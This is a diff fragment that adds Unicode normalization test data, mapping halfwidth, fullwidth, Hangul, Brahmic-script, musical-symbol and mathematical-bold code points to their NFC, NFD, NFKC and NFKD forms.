+{ source: [0xFF28], NFC: [0xFF28], NFD: [0xFF28], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0xFF29], NFC: [0xFF29], NFD: [0xFF29], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0xFF2A], NFC: [0xFF2A], NFD: [0xFF2A], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0xFF2B], NFC: [0xFF2B], NFD: [0xFF2B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0xFF2C], NFC: [0xFF2C], NFD: [0xFF2C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0xFF2D], NFC: [0xFF2D], NFD: [0xFF2D], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0xFF2E], NFC: [0xFF2E], NFD: [0xFF2E], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0xFF2F], NFC: [0xFF2F], NFD: [0xFF2F], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0xFF30], NFC: [0xFF30], NFD: [0xFF30], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0xFF31], NFC: [0xFF31], NFD: [0xFF31], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0xFF32], NFC: [0xFF32], NFD: [0xFF32], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0xFF33], NFC: [0xFF33], NFD: [0xFF33], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0xFF34], NFC: [0xFF34], NFD: [0xFF34], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0xFF35], NFC: [0xFF35], NFD: [0xFF35], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0xFF36], NFC: [0xFF36], NFD: [0xFF36], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0xFF37], NFC: [0xFF37], NFD: [0xFF37], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0xFF38], NFC: [0xFF38], NFD: [0xFF38], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0xFF39], NFC: [0xFF39], NFD: [0xFF39], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0xFF3A], NFC: [0xFF3A], NFD: [0xFF3A], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0xFF3B], NFC: [0xFF3B], NFD: [0xFF3B], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFF3C], NFC: [0xFF3C], NFD: [0xFF3C], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFF3D], NFC: [0xFF3D], NFD: [0xFF3D], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFF3E], NFC: [0xFF3E], NFD: [0xFF3E], NFKC: [0x005E], NFKD: [0x005E] },
+{ source: [0xFF3F], NFC: [0xFF3F], NFD: [0xFF3F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFF40], NFC: [0xFF40], NFD: [0xFF40], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0xFF41], NFC: [0xFF41], NFD: [0xFF41], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0xFF42], NFC: [0xFF42], NFD: [0xFF42], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0xFF43], NFC: [0xFF43], NFD: [0xFF43], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0xFF44], NFC: [0xFF44], NFD: [0xFF44], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0xFF45], NFC: [0xFF45], NFD: [0xFF45], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0xFF46], NFC: [0xFF46], NFD: [0xFF46], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0xFF47], NFC: [0xFF47], NFD: [0xFF47], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0xFF48], NFC: [0xFF48], NFD: [0xFF48], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0xFF49], NFC: [0xFF49], NFD: [0xFF49], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0xFF4A], NFC: [0xFF4A], NFD: [0xFF4A], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0xFF4B], NFC: [0xFF4B], NFD: [0xFF4B], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0xFF4C], NFC: [0xFF4C], NFD: [0xFF4C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0xFF4D], NFC: [0xFF4D], NFD: [0xFF4D], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0xFF4E], NFC: [0xFF4E], NFD: [0xFF4E], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0xFF4F], NFC: [0xFF4F], NFD: [0xFF4F], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0xFF50], NFC: [0xFF50], NFD: [0xFF50], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0xFF51], NFC: [0xFF51], NFD: [0xFF51], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0xFF52], NFC: [0xFF52], NFD: [0xFF52], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0xFF53], NFC: [0xFF53], NFD: [0xFF53], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0xFF54], NFC: [0xFF54], NFD: [0xFF54], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0xFF55], NFC: [0xFF55], NFD: [0xFF55], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0xFF56], NFC: [0xFF56], NFD: [0xFF56], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0xFF57], NFC: [0xFF57], NFD: [0xFF57], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0xFF58], NFC: [0xFF58], NFD: [0xFF58], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0xFF59], NFC: [0xFF59], NFD: [0xFF59], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0xFF5A], NFC: [0xFF5A], NFD: [0xFF5A], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0xFF5B], NFC: [0xFF5B], NFD: [0xFF5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFF5C], NFC: [0xFF5C], NFD: [0xFF5C], NFKC: [0x007C], NFKD: [0x007C] },
+{ source: [0xFF5D], NFC: [0xFF5D], NFD: [0xFF5D], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFF5E], NFC: [0xFF5E], NFD: [0xFF5E], NFKC: [0x007E], NFKD: [0x007E] },
+{ source: [0xFF5F], NFC: [0xFF5F], NFD: [0xFF5F], NFKC: [0x2985], NFKD: [0x2985] },
+{ source: [0xFF60], NFC: [0xFF60], NFD: [0xFF60], NFKC: [0x2986], NFKD: [0x2986] },
+{ source: [0xFF61], NFC: [0xFF61], NFD: [0xFF61], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFF62], NFC: [0xFF62], NFD: [0xFF62], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFF63], NFC: [0xFF63], NFD: [0xFF63], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFF64], NFC: [0xFF64], NFD: [0xFF64], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFF65], NFC: [0xFF65], NFD: [0xFF65], NFKC: [0x30FB], NFKD: [0x30FB] },
+{ source: [0xFF66], NFC: [0xFF66], NFD: [0xFF66], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0xFF67], NFC: [0xFF67], NFD: [0xFF67], NFKC: [0x30A1], NFKD: [0x30A1] },
+{ source: [0xFF68], NFC: [0xFF68], NFD: [0xFF68], NFKC: [0x30A3], NFKD: [0x30A3] },
+{ source: [0xFF69], NFC: [0xFF69], NFD: [0xFF69], NFKC: [0x30A5], NFKD: [0x30A5] },
+{ source: [0xFF6A], NFC: [0xFF6A], NFD: [0xFF6A], NFKC: [0x30A7], NFKD: [0x30A7] },
+{ source: [0xFF6B], NFC: [0xFF6B], NFD: [0xFF6B], NFKC: [0x30A9], NFKD: [0x30A9] },
+{ source: [0xFF6C], NFC: [0xFF6C], NFD: [0xFF6C], NFKC: [0x30E3], NFKD: [0x30E3] },
+{ source: [0xFF6D], NFC: [0xFF6D], NFD: [0xFF6D], NFKC: [0x30E5], NFKD: [0x30E5] },
+{ source: [0xFF6E], NFC: [0xFF6E], NFD: [0xFF6E], NFKC: [0x30E7], NFKD: [0x30E7] },
+{ source: [0xFF6F], NFC: [0xFF6F], NFD: [0xFF6F], NFKC: [0x30C3], NFKD: [0x30C3] },
+{ source: [0xFF70], NFC: [0xFF70], NFD: [0xFF70], NFKC: [0x30FC], NFKD: [0x30FC] },
+{ source: [0xFF71], NFC: [0xFF71], NFD: [0xFF71], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0xFF72], NFC: [0xFF72], NFD: [0xFF72], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0xFF73], NFC: [0xFF73], NFD: [0xFF73], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0xFF74], NFC: [0xFF74], NFD: [0xFF74], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0xFF75], NFC: [0xFF75], NFD: [0xFF75], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0xFF76], NFC: [0xFF76], NFD: [0xFF76], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0xFF77], NFC: [0xFF77], NFD: [0xFF77], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0xFF78], NFC: [0xFF78], NFD: [0xFF78], NFKC: [0x30AF], NFKD: [0x30AF] },
+{ source: [0xFF79], NFC: [0xFF79], NFD: [0xFF79], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0xFF7A], NFC: [0xFF7A], NFD: [0xFF7A], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0xFF7B], NFC: [0xFF7B], NFD: [0xFF7B], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0xFF7C], NFC: [0xFF7C], NFD: [0xFF7C], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0xFF7D], NFC: [0xFF7D], NFD: [0xFF7D], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0xFF7E], NFC: [0xFF7E], NFD: [0xFF7E], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0xFF7F], NFC: [0xFF7F], NFD: [0xFF7F], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0xFF80], NFC: [0xFF80], NFD: [0xFF80], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0xFF81], NFC: [0xFF81], NFD: [0xFF81], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0xFF82], NFC: [0xFF82], NFD: [0xFF82], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0xFF83], NFC: [0xFF83], NFD: [0xFF83], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0xFF84], NFC: [0xFF84], NFD: [0xFF84], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0xFF85], NFC: [0xFF85], NFD: [0xFF85], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0xFF86], NFC: [0xFF86], NFD: [0xFF86], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0xFF87], NFC: [0xFF87], NFD: [0xFF87], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0xFF88], NFC: [0xFF88], NFD: [0xFF88], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0xFF89], NFC: [0xFF89], NFD: [0xFF89], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0xFF8A], NFC: [0xFF8A], NFD: [0xFF8A], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0xFF8B], NFC: [0xFF8B], NFD: [0xFF8B], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0xFF8C], NFC: [0xFF8C], NFD: [0xFF8C], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0xFF8D], NFC: [0xFF8D], NFD: [0xFF8D], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0xFF8E], NFC: [0xFF8E], NFD: [0xFF8E], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0xFF8F], NFC: [0xFF8F], NFD: [0xFF8F], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0xFF90], NFC: [0xFF90], NFD: [0xFF90], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0xFF91], NFC: [0xFF91], NFD: [0xFF91], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0xFF92], NFC: [0xFF92], NFD: [0xFF92], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0xFF93], NFC: [0xFF93], NFD: [0xFF93], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0xFF94], NFC: [0xFF94], NFD: [0xFF94], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0xFF95], NFC: [0xFF95], NFD: [0xFF95], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0xFF96], NFC: [0xFF96], NFD: [0xFF96], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0xFF97], NFC: [0xFF97], NFD: [0xFF97], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0xFF98], NFC: [0xFF98], NFD: [0xFF98], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0xFF99], NFC: [0xFF99], NFD: [0xFF99], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0xFF9A], NFC: [0xFF9A], NFD: [0xFF9A], NFKC: [0x30EC], NFKD: [0x30EC] },
+{ source: [0xFF9B], NFC: [0xFF9B], NFD: [0xFF9B], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0xFF9C], NFC: [0xFF9C], NFD: [0xFF9C], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0xFF9D], NFC: [0xFF9D], NFD: [0xFF9D], NFKC: [0x30F3], NFKD: [0x30F3] },
+{ source: [0xFF9E], NFC: [0xFF9E], NFD: [0xFF9E], NFKC: [0x3099], NFKD: [0x3099] },
+{ source: [0xFF9F], NFC: [0xFF9F], NFD: [0xFF9F], NFKC: [0x309A], NFKD: [0x309A] },
+{ source: [0xFFA0], NFC: [0xFFA0], NFD: [0xFFA0], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0xFFA1], NFC: [0xFFA1], NFD: [0xFFA1], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0xFFA2], NFC: [0xFFA2], NFD: [0xFFA2], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0xFFA3], NFC: [0xFFA3], NFD: [0xFFA3], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0xFFA4], NFC: [0xFFA4], NFD: [0xFFA4], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0xFFA5], NFC: [0xFFA5], NFD: [0xFFA5], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0xFFA6], NFC: [0xFFA6], NFD: [0xFFA6], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0xFFA7], NFC: [0xFFA7], NFD: [0xFFA7], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0xFFA8], NFC: [0xFFA8], NFD: [0xFFA8], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0xFFA9], NFC: [0xFFA9], NFD: [0xFFA9], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0xFFAA], NFC: [0xFFAA], NFD: [0xFFAA], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0xFFAB], NFC: [0xFFAB], NFD: [0xFFAB], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0xFFAC], NFC: [0xFFAC], NFD: [0xFFAC], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0xFFAD], NFC: [0xFFAD], NFD: [0xFFAD], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0xFFAE], NFC: [0xFFAE], NFD: [0xFFAE], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0xFFAF], NFC: [0xFFAF], NFD: [0xFFAF], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0xFFB0], NFC: [0xFFB0], NFD: [0xFFB0], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0xFFB1], NFC: [0xFFB1], NFD: [0xFFB1], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0xFFB2], NFC: [0xFFB2], NFD: [0xFFB2], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0xFFB3], NFC: [0xFFB3], NFD: [0xFFB3], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0xFFB4], NFC: [0xFFB4], NFD: [0xFFB4], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0xFFB5], NFC: [0xFFB5], NFD: [0xFFB5], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0xFFB6], NFC: [0xFFB6], NFD: [0xFFB6], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0xFFB7], NFC: [0xFFB7], NFD: [0xFFB7], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0xFFB8], NFC: [0xFFB8], NFD: [0xFFB8], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0xFFB9], NFC: [0xFFB9], NFD: [0xFFB9], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0xFFBA], NFC: [0xFFBA], NFD: [0xFFBA], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0xFFBB], NFC: [0xFFBB], NFD: [0xFFBB], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0xFFBC], NFC: [0xFFBC], NFD: [0xFFBC], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0xFFBD], NFC: [0xFFBD], NFD: [0xFFBD], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0xFFBE], NFC: [0xFFBE], NFD: [0xFFBE], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0xFFC2], NFC: [0xFFC2], NFD: [0xFFC2], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0xFFC3], NFC: [0xFFC3], NFD: [0xFFC3], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0xFFC4], NFC: [0xFFC4], NFD: [0xFFC4], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0xFFC5], NFC: [0xFFC5], NFD: [0xFFC5], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0xFFC6], NFC: [0xFFC6], NFD: [0xFFC6], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0xFFC7], NFC: [0xFFC7], NFD: [0xFFC7], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0xFFCA], NFC: [0xFFCA], NFD: [0xFFCA], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0xFFCB], NFC: [0xFFCB], NFD: [0xFFCB], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0xFFCC], NFC: [0xFFCC], NFD: [0xFFCC], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0xFFCD], NFC: [0xFFCD], NFD: [0xFFCD], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0xFFCE], NFC: [0xFFCE], NFD: [0xFFCE], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0xFFCF], NFC: [0xFFCF], NFD: [0xFFCF], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0xFFD2], NFC: [0xFFD2], NFD: [0xFFD2], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0xFFD3], NFC: [0xFFD3], NFD: [0xFFD3], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0xFFD4], NFC: [0xFFD4], NFD: [0xFFD4], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0xFFD5], NFC: [0xFFD5], NFD: [0xFFD5], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0xFFD6], NFC: [0xFFD6], NFD: [0xFFD6], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0xFFD7], NFC: [0xFFD7], NFD: [0xFFD7], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0xFFDA], NFC: [0xFFDA], NFD: [0xFFDA], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0xFFDB], NFC: [0xFFDB], NFD: [0xFFDB], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0xFFDC], NFC: [0xFFDC], NFD: [0xFFDC], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0xFFE0], NFC: [0xFFE0], NFD: [0xFFE0], NFKC: [0x00A2], NFKD: [0x00A2] },
+{ source: [0xFFE1], NFC: [0xFFE1], NFD: [0xFFE1], NFKC: [0x00A3], NFKD: [0x00A3] },
+{ source: [0xFFE2], NFC: [0xFFE2], NFD: [0xFFE2], NFKC: [0x00AC], NFKD: [0x00AC] },
+{ source: [0xFFE3], NFC: [0xFFE3], NFD: [0xFFE3], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0xFFE4], NFC: [0xFFE4], NFD: [0xFFE4], NFKC: [0x00A6], NFKD: [0x00A6] },
+{ source: [0xFFE5], NFC: [0xFFE5], NFD: [0xFFE5], NFKC: [0x00A5], NFKD: [0x00A5] },
+{ source: [0xFFE6], NFC: [0xFFE6], NFD: [0xFFE6], NFKC: [0x20A9], NFKD: [0x20A9] },
+{ source: [0xFFE8], NFC: [0xFFE8], NFD: [0xFFE8], NFKC: [0x2502], NFKD: [0x2502] },
+{ source: [0xFFE9], NFC: [0xFFE9], NFD: [0xFFE9], NFKC: [0x2190], NFKD: [0x2190] },
+{ source: [0xFFEA], NFC: [0xFFEA], NFD: [0xFFEA], NFKC: [0x2191], NFKD: [0x2191] },
+{ source: [0xFFEB], NFC: [0xFFEB], NFD: [0xFFEB], NFKC: [0x2192], NFKD: [0x2192] },
+{ source: [0xFFEC], NFC: [0xFFEC], NFD: [0xFFEC], NFKC: [0x2193], NFKD: [0x2193] },
+{ source: [0xFFED], NFC: [0xFFED], NFD: [0xFFED], NFKC: [0x25A0], NFKD: [0x25A0] },
+{ source: [0xFFEE], NFC: [0xFFEE], NFD: [0xFFEE], NFKC: [0x25CB], NFKD: [0x25CB] },
+{ source: [0x1109A], NFC: [0x1109A], NFD: [0x11099, 0x110BA], NFKC: [0x1109A], NFKD: [0x11099, 0x110BA] },
+{ source: [0x1109C], NFC: [0x1109C], NFD: [0x1109B, 0x110BA], NFKC: [0x1109C], NFKD: [0x1109B, 0x110BA] },
+{ source: [0x110AB], NFC: [0x110AB], NFD: [0x110A5, 0x110BA], NFKC: [0x110AB], NFKD: [0x110A5, 0x110BA] },
+{ source: [0x1112E], NFC: [0x1112E], NFD: [0x11131, 0x11127], NFKC: [0x1112E], NFKD: [0x11131, 0x11127] },
+{ source: [0x1112F], NFC: [0x1112F], NFD: [0x11132, 0x11127], NFKC: [0x1112F], NFKD: [0x11132, 0x11127] },
+{ source: [0x1134B], NFC: [0x1134B], NFD: [0x11347, 0x1133E], NFKC: [0x1134B], NFKD: [0x11347, 0x1133E] },
+{ source: [0x1134C], NFC: [0x1134C], NFD: [0x11347, 0x11357], NFKC: [0x1134C], NFKD: [0x11347, 0x11357] },
+{ source: [0x114BB], NFC: [0x114BB], NFD: [0x114B9, 0x114BA], NFKC: [0x114BB], NFKD: [0x114B9, 0x114BA] },
+{ source: [0x114BC], NFC: [0x114BC], NFD: [0x114B9, 0x114B0], NFKC: [0x114BC], NFKD: [0x114B9, 0x114B0] },
+{ source: [0x114BE], NFC: [0x114BE], NFD: [0x114B9, 0x114BD], NFKC: [0x114BE], NFKD: [0x114B9, 0x114BD] },
+{ source: [0x115BA], NFC: [0x115BA], NFD: [0x115B8, 0x115AF], NFKC: [0x115BA], NFKD: [0x115B8, 0x115AF] },
+{ source: [0x115BB], NFC: [0x115BB], NFD: [0x115B9, 0x115AF], NFKC: [0x115BB], NFKD: [0x115B9, 0x115AF] },
+{ source: [0x11938], NFC: [0x11938], NFD: [0x11935, 0x11930], NFKC: [0x11938], NFKD: [0x11935, 0x11930] },
+{ source: [0x1D15E], NFC: [0x1D157, 0x1D165], NFD: [0x1D157, 0x1D165], NFKC: [0x1D157, 0x1D165], NFKD: [0x1D157, 0x1D165] },
+{ source: [0x1D15F], NFC: [0x1D158, 0x1D165], NFD: [0x1D158, 0x1D165], NFKC: [0x1D158, 0x1D165], NFKD: [0x1D158, 0x1D165] },
+{ source: [0x1D160], NFC: [0x1D158, 0x1D165, 0x1D16E], NFD: [0x1D158, 0x1D165, 0x1D16E], NFKC: [0x1D158, 0x1D165, 0x1D16E], NFKD: [0x1D158, 0x1D165, 0x1D16E] },
+{ source: [0x1D161], NFC: [0x1D158, 0x1D165, 0x1D16F], NFD: [0x1D158, 0x1D165, 0x1D16F], NFKC: [0x1D158, 0x1D165, 0x1D16F], NFKD: [0x1D158, 0x1D165, 0x1D16F] },
+{ source: [0x1D162], NFC: [0x1D158, 0x1D165, 0x1D170], NFD: [0x1D158, 0x1D165, 0x1D170], NFKC: [0x1D158, 0x1D165, 0x1D170], NFKD: [0x1D158, 0x1D165, 0x1D170] },
+{ source: [0x1D163], NFC: [0x1D158, 0x1D165, 0x1D171], NFD: [0x1D158, 0x1D165, 0x1D171], NFKC: [0x1D158, 0x1D165, 0x1D171], NFKD: [0x1D158, 0x1D165, 0x1D171] },
+{ source: [0x1D164], NFC: [0x1D158, 0x1D165, 0x1D172], NFD: [0x1D158, 0x1D165, 0x1D172], NFKC: [0x1D158, 0x1D165, 0x1D172], NFKD: [0x1D158, 0x1D165, 0x1D172] },
+{ source: [0x1D1BB], NFC: [0x1D1B9, 0x1D165], NFD: [0x1D1B9, 0x1D165], NFKC: [0x1D1B9, 0x1D165], NFKD: [0x1D1B9, 0x1D165] },
+{ source: [0x1D1BC], NFC: [0x1D1BA, 0x1D165], NFD: [0x1D1BA, 0x1D165], NFKC: [0x1D1BA, 0x1D165], NFKD: [0x1D1BA, 0x1D165] },
+{ source: [0x1D1BD], NFC: [0x1D1B9, 0x1D165, 0x1D16E], NFD: [0x1D1B9, 0x1D165, 0x1D16E], NFKC: [0x1D1B9, 0x1D165, 0x1D16E], NFKD: [0x1D1B9, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BE], NFC: [0x1D1BA, 0x1D165, 0x1D16E], NFD: [0x1D1BA, 0x1D165, 0x1D16E], NFKC: [0x1D1BA, 0x1D165, 0x1D16E], NFKD: [0x1D1BA, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BF], NFC: [0x1D1B9, 0x1D165, 0x1D16F], NFD: [0x1D1B9, 0x1D165, 0x1D16F], NFKC: [0x1D1B9, 0x1D165, 0x1D16F], NFKD: [0x1D1B9, 0x1D165, 0x1D16F] },
+{ source: [0x1D1C0], NFC: [0x1D1BA, 0x1D165, 0x1D16F], NFD: [0x1D1BA, 0x1D165, 0x1D16F], NFKC: [0x1D1BA, 0x1D165, 0x1D16F], NFKD: [0x1D1BA, 0x1D165, 0x1D16F] },
+{ source: [0x1D400], NFC: [0x1D400], NFD: [0x1D400], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D401], NFC: [0x1D401], NFD: [0x1D401], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D402], NFC: [0x1D402], NFD: [0x1D402], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D403], NFC: [0x1D403], NFD: [0x1D403], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D404], NFC: [0x1D404], NFD: [0x1D404], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D405], NFC: [0x1D405], NFD: [0x1D405], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D406], NFC: [0x1D406], NFD: [0x1D406], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D407], NFC: [0x1D407], NFD: [0x1D407], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D408], NFC: [0x1D408], NFD: [0x1D408], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D409], NFC: [0x1D409], NFD: [0x1D409], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D40A], NFC: [0x1D40A], NFD: [0x1D40A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D40B], NFC: [0x1D40B], NFD: [0x1D40B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D40C], NFC: [0x1D40C], NFD: [0x1D40C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D40D], NFC: [0x1D40D], NFD: [0x1D40D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D40E], NFC: [0x1D40E], NFD: [0x1D40E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D40F], NFC: [0x1D40F], NFD: [0x1D40F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D410], NFC: [0x1D410], NFD: [0x1D410], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D411], NFC: [0x1D411], NFD: [0x1D411], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D412], NFC: [0x1D412], NFD: [0x1D412], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D413], NFC: [0x1D413], NFD: [0x1D413], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D414], NFC: [0x1D414], NFD: [0x1D414], NFKC: [0x0055], NFKD: [0x0055] },
